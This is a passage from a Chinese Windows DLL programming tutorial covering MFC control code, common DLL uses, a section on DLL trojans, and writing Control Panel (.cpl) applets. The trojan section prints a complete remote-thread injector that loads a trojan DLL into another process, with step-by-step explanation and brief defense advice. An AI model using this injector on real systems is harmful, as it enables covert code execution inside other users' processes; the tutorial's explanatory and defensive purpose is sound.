// 初始static控制元件的顯示

m_colorstatic.SetCaption("最開始為黑色");

m_colorstatic.SetTextColor(RGB(0,0,0));

return TRUE; // return TRUE unless you set the focus to acontrol

}

//設定static控制元件文字顏色為紅色

void CCallDllDlg::OnRedButton()

{

m_colorstatic.SetCaption( "改變為紅色");

m_colorstatic.SetTextColor( RGB( 255, 0, 0 ) );

Invalidate( TRUE ); //導致發出WM_PAINT訊息

}

//設定static控制元件文字顏色為藍色

void CCallDllDlg::OnBlueButton()

{

m_colorstatic.SetCaption( "改變為藍色");

m_colorstatic.SetTextColor( RGB( 0, 0, 255 ) );

Invalidate( TRUE ); //導致發出WM_PAINT訊息

}

//設定static控制元件文字顏色為綠色

void CCallDllDlg::OnGreenButton()

{

m_colorstatic.SetCaption( "改變為綠色");

m_colorstatic.SetTextColor( RGB(0,255,0) );

Invalidate( TRUE ); //導致發出WM_PAINT訊息

}

 

至此,我們已經講解完MFC擴充套件DLL。

5、DLL的實際應用

動態連結庫DLL實現了庫的共享,體現了程式碼重用的思想。我們可以把廣泛的、具有共性的、能夠多次被利用的函式和類定義在庫中。這樣,在再次使用這些函式和類的時候,就不再需要重新新增與這些函式和類相關的程式碼。具有共性的問題大致有哪些呢?歸納如下:

(1)通用的演算法

影象處理、視訊音訊解碼、壓縮與解壓縮、加密與解密通常採用某些特定的演算法,這些演算法較固定且在這類程式中往往經常被使用。

(2)純資源DLL

我們可以從DLL中獲取資源,對於一個支援多種語言的應用程式而言,我們可以判斷作業系統的語言,並自動為應用程式載入與OS對應的語言。這是多語言支援應用程式的一般做法。

(3)通訊控制DLL

串列埠、網口的通訊控制函式如果由DLL提供則可以使應用程式輕鬆不少。在工業控制、modem程式甚至socket通訊中,經常使用通訊控制DLL。

(4)Windows模組DLL

如Windows控制皮膚模組編寫、ODBC驅動程式的編寫、ActiveX控制元件的編寫、COM的編寫都是使用的DLL程式設計。

6、DLL木馬

6.1 DLL木馬的原理

DLL木馬的實現原理是程式設計者在DLL中包含木馬程式程式碼,隨後在目標主機中選擇特定目標程式,以某種方式強行指定該程式呼叫包含木馬程式的DLL,最終達到侵襲目標系統的目的。

正是DLL程式自身的特點決定了以這種形式載入木馬不僅可行,而且具有良好的隱藏性:

(1)DLL程式被對映到宿主程式的地址空間中,它能夠共享宿主程式的資源,並根據宿主程式在目標主機的級別非法訪問相應的系統資源;

(2)DLL程式沒有獨立的程式地址空間,從而可以避免在目標主機中留下“蛛絲馬跡”,達到隱蔽自身的目的。

DLL木馬實現了“真隱藏”,我們在工作管理員中看不到木馬“程式”,它完全溶進了系統的核心。與“真隱藏”對應的是“假隱藏”,“假隱藏”木馬把自己註冊成為一個服務。雖然在工作管理員中也看不到這個程式,但是“假隱藏”木馬本質上還具備獨立的程式空間。“假隱藏”只適用於Windows9x的系統,對於基於WINNT的作業系統,通過服務管理器,我們可以發現系統中註冊過的服務。DLL木馬注入其它程式的方法為遠端執行緒插入。

遠端執行緒插入技術指的是通過在另一個程式中建立遠端執行緒的方法進入那個程式的記憶體地址空間。將木馬程式以DLL的形式實現後,需要使用插入到目標程式中的遠端執行緒將該木馬DLL插入到目標程式的地址空間,即利用該執行緒通過呼叫WindowsAPILoadLibrary函式來載入木馬DLL,從而實現木馬對系統的侵害。

6.2 DLL木馬注入程式

這裡涉及到一個非常重要的WindowsAPI――CreateRemoteThread。與之相比,我們所習慣使用的CreateThreadAPI函式只能在程式自身內部產生一個新的執行緒,而且被建立的新執行緒與主執行緒共享地址空間和其他資源。而CreateRemoteThread則不同,它可以在另外的程式中產生執行緒!CreateRemoteThread有如下特點:

(1)CreateRemoteThread較CreateThread多一個引數hProcess,該引數用於指定要建立執行緒的遠端程式,其函式原型為:

HANDLE CreateRemoteThread(

HANDLE hProcess,//遠端程式控制程式碼

LPSECURITY_ATTRIBUTESlpThreadAttributes,

SIZE_T dwStackSize,

LPTHREAD_START_ROUTINElpStartAddress,

LPVOID lpParameter,

DWORD dwCreationFlags,

LPDWORD lpThreadId

);

(2)執行緒函式的程式碼不能位於我們用來注入DLL木馬的程式所在的地址空間中。也就是說,我們不能想當然地自己寫一個函式,並把這個函式作為遠端執行緒的入口函式;

(3)不能把本程式的指標作為CreateRemoteThread的引數,因為本程式的記憶體空間與遠端程式的不一樣。

以下程式由作者Shotgun的DLL木馬注入程式簡化而得(在經典書籍《Windows核心程式設計》中我們也可以看到類似的例子),它將d盤根目錄下的troydll.dll 插入到ID為4000的程式中:

#include<windows.h>

#include<stdlib.h>

#include<stdio.h>

 

void CheckError(int, int, char*); //出錯處理函式

 

PDWORD pdwThreadId;

HANDLE hRemoteThread,hRemoteProcess;

DWORD fdwCreate, dwStackSize,dwRemoteProcessId;

PWSTR pszLibFileRemote=NULL;

 

void main(int argc,char**argv)

{

         int iReturnCode;

         char lpDllFullPathName[MAX_PATH];

         WCHAR pszLibFileName[MAX_PATH]={0};

 

         dwRemoteProcessId=4000;

         strcpy(lpDllFullPathName, "d:\\troydll.dll");

 

         //將DLL檔案全路徑的ANSI碼轉換成UNICODE碼

         iReturnCode =MultiByteToWideChar(CP_ACP,MB_ERR_INVALID_CHARS,

                   lpDllFullPathName, strlen(lpDllFullPathName),

                   pszLibFileName,MAX_PATH);

         CheckError(iReturnCode,0,"MultByteToWideChar");

 

         //開啟遠端程式

         hRemoteProcess=OpenProcess(PROCESS_CREATE_THREAD| //允許建立執行緒

                   PROCESS_VM_OPERATION| //允許VM操作

                   PROCESS_VM_WRITE, //允許VM寫

                   FALSE,dwRemoteProcessId);

         CheckError((int)hRemoteProcess,NULL,         "Remote ProcessnotExistorAccessDenied!");

 

         //計算DLL路徑名需要的記憶體空間

         int cb=(1+lstrlenW(pszLibFileName)) *sizeof(WCHAR);

         pszLibFileRemote=(PWSTR)VirtualAllocEx(hRemoteProcess,NULL,cb,

                   MEM_COMMIT,PAGE_READWRITE);

         CheckError((int)pszLibFileRemote,NULL,"VirtualAllocEx");

 

         //將DLL的路徑名複製到遠端程式的記憶體空間

         iReturnCode =WriteProcessMemory(hRemoteProcess,

                   pszLibFileRemote,(PVOID)pszLibFileName,cb,NULL);

         CheckError(iReturnCode,false, "WriteProcessMemory");

 

         //計算LoadLibraryW的入口地址

         PTHREAD_START_ROUTINE pfnStartAddr=(PTHREAD_START_ROUTINE)

                   GetProcAddress(GetModuleHandle(TEXT("Kernel32")),"LoadLibraryW");

         CheckError((int)pfnStartAddr,NULL,"GetProcAddress");

 

         //啟動遠端執行緒,通過遠端執行緒呼叫使用者的DLL檔案

         hRemoteThread=CreateRemoteThread(hRemoteProcess,NULL,0,pfnStartAddr,

                   pszLibFileRemote,0,NULL);

         CheckError((int)hRemoteThread,NULL,"CreateRemoteThread");

 

         //等待遠端執行緒退出

         WaitForSingleObject(hRemoteThread,INFINITE);

         //清場處理

         if (pszLibFileRemote!=NULL)

         {

                   VirtualFreeEx(hRemoteProcess,pszLibFileRemote,0,MEM_RELEASE);

         }

         if (hRemoteThread !=NULL)

         {

                   CloseHandle(hRemoteThread);

         }

         if (hRemoteProcess!= NULL)

         {

                   CloseHandle(hRemoteProcess);

         }

}

 

//錯誤處理函式CheckError()

void CheckError(int iReturnCode, int iErrorCode, char*pErrorMsg)

{

         if(iReturnCode==iErrorCode)

         {

                   printf("%sError:%d\n\n",pErrorMsg,GetLastError());

                   //清場處理

                   if (pszLibFileRemote!=NULL)

                   {

                            VirtualFreeEx(hRemoteProcess,pszLibFileRemote,0,MEM_RELEASE);

                   }

                   if (hRemoteThread !=NULL)

                   {

                            CloseHandle(hRemoteThread);

                   }

                   if (hRemoteProcess!= NULL)

                   {

                            CloseHandle(hRemoteProcess);

                   }

 

                   exit(0);

         }

}

從DLL木馬注入程式的原始碼中我們可以分析出DLL木馬注入的一般步驟為:

(1)取得宿主程式(即要注入木馬的程式)的程式IDdwRemoteProcessId;

(2)取得DLL的完全路徑,並將其轉換為寬字元模式pszLibFileName;

(3)利用WindowsAPIOpenProcess開啟宿主程式,應該開啟下列選項:

a.PROCESS_CREATE_THREAD:允許在宿主程式中建立執行緒;

b.PROCESS_VM_OPERATION:允許對宿主程式中進行VM操作;

c.PROCESS_VM_WRITE:允許對宿主程式進行VM寫。

(4)利用WindowsAPIVirtualAllocEx函式在遠端執行緒的VM中分配DLL完整路徑寬字元所需的儲存空間,並利用WindowsAPIWriteProcessMemory函式將完整路徑寫入該儲存空間;

(5)利用WindowsAPIGetProcAddress取得Kernel32模組中LoadLibraryW函式的地址,這個函式將作為隨後將啟動的遠端執行緒的入口函式;

(6)利用WindowsAPICreateRemoteThread啟動遠端執行緒,將LoadLibraryW的地址作為遠端執行緒的入口函式地址,將宿主程式裡被分配空間中儲存的完整DLL路徑作為執行緒入口函式的引數以另其啟動指定的DLL;

(7)清理現場。

6.3 DLL木馬的防治

從DLL木馬的原理和一個簡單的DLL木馬程式中我們學到了DLL木馬的工作方式,這可以幫助我們更好地理解DLL木馬病毒的防治手段。

一般的木馬被植入後要開啟一網路埠與攻擊程式通訊,所以防火牆是抵禦木馬攻擊的最好方法。防火牆可以進行資料包過濾檢查,我們可以讓防火牆對通訊埠進行限制,只允許系統接受幾個特定埠的資料請求。這樣,即使木馬植入成功,攻擊者也無法進入到受侵系統,防火牆把攻擊者和木馬分隔開來了。

對於DLL木馬,一種簡單的觀察方法也許可以幫助使用者發現之。我們檢視執行程式所依賴的DLL,如果其中有一些莫名其妙的DLL,則可以斷言這個程式是宿主程式,系統被植入了DLL木馬。“道高一尺,魔高一丈”,現如今,DLL木馬也發展到了更高的境界,它們看起來也不再“莫名其妙”。在最新的一些木馬裡面,開始採用了先進的DLL陷阱技術,程式設計者用特洛伊DLL替換已知的系統DLL。特洛伊DLL對所有的函式呼叫進行過濾,對於正常的呼叫,使用函式轉發器直接轉發給被替換的系統DLL;對於一些事先約定好的特殊情況,DLL會執行一些相應的操作。

7、Windows控制皮膚程式設計

7.1 控制皮膚程式設計概述

開啟Windows的控制皮膚(“Control Panel”)會看到類似的影象:

圖31Windows的控皮膚

雙擊其中的一個圖示,會顯示對話方塊,讓使用者來完成相應的軟硬體設定工作。這就是我們看到的控制皮膚。

經過挖掘,發現並不是exe檔案(Windows Vista下支援exe的控制皮膚應用程式,並且微軟建議做成exe檔案),而是有著cpl字尾名的檔案,在windows->system32下可以找到這樣的檔案。如果藉助工具,Dependency Walker for Win32(x86) 或dumpbin等就可以看到該檔案匯出了一些函式。

圖32 檢視wuaucpl.cpl

多觀察幾個這樣的檔案,發現匯出的函式雖有差異,但其中都有CPLApplet函式被匯出。這些特徵與DLL的特徵吻合。去MSDN上查閱CPLApplet函式的說明證明我們的猜測是正確的。可以說控制皮膚應該程式就是以CPL為字尾名並且一定要匯出CPLApplet函式的dll檔案。

對於具體的描述可以參考:http://msdn2.microsoft.com/en-us/library/bb776838(VS.85).aspx

明確幾個概念:

(1)控制皮膚管理程式:用於管理控制皮膚的程式,在桌面windows版本是CONTROL.EXE,在windows CE版本是CTLPNL.EXE,它們負責管理控制皮膚裡的控制皮膚條目。簡單的說,我們開啟控制皮膚時,這些管理程式就在執行了。只不過我們看到的是掛上了Shell外觀而已(注:這是我的猜測,還沒有找到依據)。

(2)控制皮膚條目(Control Panel Item):在控制皮膚裡看到的每個圖示所對應的就是一個控制皮膚條目。

(3)控制皮膚應用程式(Control Panel Application):就是最終看到的CPL檔案,一個控制皮膚應用程式可以實現幾個控制皮膚條目。

7.2 CPLApplet函式

編寫控制皮膚應用程式,就是編寫dll檔案,在該檔案中實現控制所需要的功能。這就涉及到一個不得不說的函式,沒有它就無法完成控制皮膚程式的實現。函式CPLApplet是控制皮膚應用程式(Control Panel application)的入口點,它被控制皮膚管理程式(control.exe 或Ctlpnl.exe)自動呼叫,它是個回撥函式(Callback),注意:CPL檔案一定要把函式CPLApplet匯出,這樣控制皮膚才能找到程式的入口點。

當啟動控制皮膚時,它會搜尋Windows或System32或登錄檔的相應條目目錄下的檔案,並把以CPL作為副檔名的檔案載入,它呼叫CPL檔案的匯出函式CPLApplet(),傳送訊息給該函式。所以,控制皮膚應用程式要處理控制皮膚傳送過來的訊息,即在函式CPLApplet中進行處理,該函式沒有預設的行為。如果一個CPL檔案中實現了多個控制皮膚程式,那麼只會有一個CPLApplet函式,它負責所有的控制皮膚應用程式。

CPLApplet函式的宣告為:

LONG CPLApplet

HWND hwndCPl

UINT msg,

LPARAM lParam1,

LPARAM lParam2

);

引數說明:

l  hwndCPl:控制皮膚管理程式或稱為控制皮膚的視窗控制程式碼,即為control.exe的視窗控制程式碼。如果控制皮膚應用程式或其它視窗需要傳遞父視窗控制程式碼,可以使用該引數。

l  Msg:傳送到控制皮膚應用程式的訊息,由控制皮膚管理程式傳送。

l  lParam1:訊息引數

l  lParam2:訊息引數

l  函式的返回值依據訊息的不同而不同。

l  應用程式要使用該函式需要包含標頭檔案:cpl.h

訊息名稱

描述

CPL_INIT

 控制皮膚應用程式收到的第一個訊息,通常在此處理全域性初始化和記憶體分配。成功返回非0,否則返回0,此時控制皮膚管理程式終止和該應用程式的通訊,並釋放相應的CPL檔案。

CPL_GETCOUNT

該訊息緊接在CPL_INIT訊息之後被髮送,它返回控制皮膚管理程式所能看到該CPL檔案中所包含的控制皮膚元件的數目,即該CPL檔案可以出現在控制皮膚中的圖示的數目。

CPL_INQUIRE

於CPL_GETCOUNT之後被髮送,為指定的控制皮膚條目提供資訊。

CPL_NEWINQUIRE

於CPL_GETCOUNT之後被髮送,與訊息CPL_INQUIRE完成的功能類似,只不過其實現要求TNewCPLInfo結構指標,所包含的資源不提供快取,所以控制皮膚啟動的較慢,一般不建議處理該訊息,除非特別必要,如要根據一定的條件動態的改變控制皮膚條目的圖示、字串等。

CPL_DBLCLK

表明使用者選定了一個控制皮膚條目,程式應該顯示相應的對話方塊以便使用者完成相應的任務。成功返回0,否則,返回非0.

CPL_STOP

控制皮膚管理程式關閉時被髮送,控制皮膚應用程式在此時處理記憶體釋放等動作。成功處理,返回0.

CPL_SELECT

目前不被使用。只有Windows 95 和Microsoft Windows NT 4.0之前的系統使用。

CPL_STARTWPARMS

該訊息與CPL_DBLCLK類似,但lParam2指向LPCTSTR,該訊息在shell32.dllversion 5.0 (Windows 2000 ,Windows Millennium Edition (Windows Me))及以後版本有效

CPL_EXIT

於CPL_STOP訊息之後被髮送,這是控制皮膚應用程式在釋放資源的最後機會。成功處理返回0.

 

CPL_INQUIRE:lParam1是以0為起點的整數,它是該CPL檔案中所包含的控制皮膚條目的索引,lParam2引數要求一個CPLINFO結構的指標,用來填充所需的圖示、字串等資訊。如果成功處理了該訊息,應該返回0。

CPL_NEWINQUIRE:該訊息與CPL_INQUIRE都是CPL_GETCOUNT之後被髮送的訊息,但並沒有明確的先後順序。所以程式裡不要依賴它們的順序來處理不同的事務。

7.2 編寫控制皮膚應用程式

7.2.1 編寫步驟

編寫控制皮膚應用程式的步驟:

1 選擇適當的開發工具(如:Visual Studio 2008),建立DLL專案;

2 匯出函式CPLApplet;

3 在函式CPLApplet的訊息處理過程中完成你需要的工作;

7.2.2 一個簡單例子

開發工具:MicrosoftVisual Studio 2008

作業系統:Windows 7

步驟:

1 、新建Win32工程,工程名為CPLTest;

圖32 新建Win32專案工程

2 、應用程式型別選擇DLL(CPL檔案本質上是DLL);

圖33 建立DLL程式

3 、在專案中新增或匯入一個圖示檔案和兩個字串資源,用於在控制皮膚管理程式中顯示圖示和提示;

在”資源檢視” 視窗上的”CPLTest”工程上鍵選擇新增->資源,然後選擇Icon和String Table

以下為resource.h 的部分內容

#define IDI_ICON1                          101 //圖示標識

#define IDS_STRING102                   102 //字串tom

#define IDS_STRING103                   103//字串cui

4、 在dllmain.cpp檔案中增加函式的匯出CPLApplet;

extern "C" __declspec(dllexport) LONG APIENTRY CPlApplet(HWND hwndCPL, UINT uMsg, LPARAM lParam1,LPARAM lParam2);

原則上可以按照上面的方式匯出就可以了,但是請注意CPlApplet的呼叫方式是APIENTRY,通過這樣方式匯出的函式會被改名,通過多次實驗也不可行。你可能會上去掉APIENTRY,但這樣編出來的CPL檔案無法執行,查閱了相關文件,在Windows Mobile Version 5.0 SDK的文件裡指明瞭該函式的呼叫方式,windowsCE 5.0 和Windows Shell and Controls沒有指明這種呼叫方式。所以,只有加上APIENTRY。

現在的問題是如何匯出該函式?看來要通過DEF檔案了,如果你的專案裡沒有產生DEF檔案,可以建立一個.def檔案,輸入如下內容。

; CPLTest.def : Declares the module parameters for the DLL.

LIBRARY      "CPLTest" 

EXPORTS

    ; Explicit exports can go here

CPlApplet

5、 在dllmain.cpp檔案中增加函式CPLApplet的訊息處理函式來完成指定的功能;

在dllmain.cpp中包含以上兩個標頭檔案

#include "resource.h" //資源標識

#include <Cpl.h>    //CPLApplet函式要求的標頭檔案

我的例子完成顯示一個MessageBox的功能。dllmain.cpp的完整程式碼:

// dllmain.cpp : Defines the entry point for the DLL application.

#include "stdafx.h"

#include "resource.h"

#include <Cpl.h>

 

BOOL APIENTRY DllMain( HMODULE hModule,  DWORD  ul_reason_for_call, LPVOID lpReserved)

{

       switch (ul_reason_for_call)

       {

       case DLL_PROCESS_ATTACH:

       case DLL_THREAD_ATTACH:

       case DLL_THREAD_DETACH:

       case DLL_PROCESS_DETACH:

              break;

       }

       return TRUE;

}

 

LONG APIENTRY  CPlApplet(HWND hwndCPL, UINT uMsg, LPARAM lParam1, LPARAM lParam2)

{

       int i;

       LPCPLINFO lpCPlInfo;

 

       i = (int) lParam1;

 

       switch (uMsg) {

       case CPL_INIT: // first message, sent once

              return TRUE;

 

       case CPL_GETCOUNT: // second message, sent once

              return 1;

              break;

 

       case CPL_INQUIRE: // third message, sent once per application

              lpCPlInfo = (LPCPLINFO) lParam2;

              lpCPlInfo->lData = 0;

              lpCPlInfo->idIcon = IDI_ICON1;

              lpCPlInfo->idName = IDS_STRING102;

              lpCPlInfo->idInfo = IDS_STRING103;

              break;

 

       case CPL_DBLCLK: // application icon double-clicked

              MessageBox(NULL, TEXT("Tom66"), TEXT("Cuei666"), MB_OK);

              break;

 

       case CPL_STOP: // sent once per application before CPL_EXIT

              break;

 

       case CPL_EXIT: // sent once before FreeLibrary is called

              break;

 

       default:

              break;

 

       }

       return 0;

}

 6、編譯連結產生檔案

屬性->配置屬性->聯結器->輸出檔案修改輸出檔案的字尾名為.cpl,也可以不修改,到最後把dll改為cpl也可以的。

圖34 修改檔案字尾名為.cpl

7.2.3程式的安裝與執行

(1)將cpl檔案拷貝到Windows(Windows CE)或Windows/system32(桌面版本Windows),開啟控制皮膚就可以看到該CPL檔案所包含的控制皮膚條目,圖示和檔案就是你在CPLApplet裡指定的。

圖35 將.cpl檔案放在SysWOW64下與控制皮膚的顯示

(2)雙擊CTLTest.cpl檔案,選擇用Windows Control Panel執行即可。

圖36 雙擊執行.cpl檔案

(3)在windows的登錄檔[HKEY_LOCAL_MACHINE/SOFTWARE/Microsoft/Windows/CurrentVersion/ControlPanel/Cpls] 下新建字串,並指定cpl所在的完整路徑,然後就可以在控制皮膚裡看到新增加的控制皮膚條目。通過寫登錄檔的方式,是一些應用軟體慣用的方式,安裝時可以通過InstallShield等安裝製作工具將其新增到登錄檔,解除安裝時,刪除登錄檔中相關的項。

圖35 修改登錄檔

(4)通過拷貝的方式,直接刪除相應的CPL檔案就可以了。

相關文章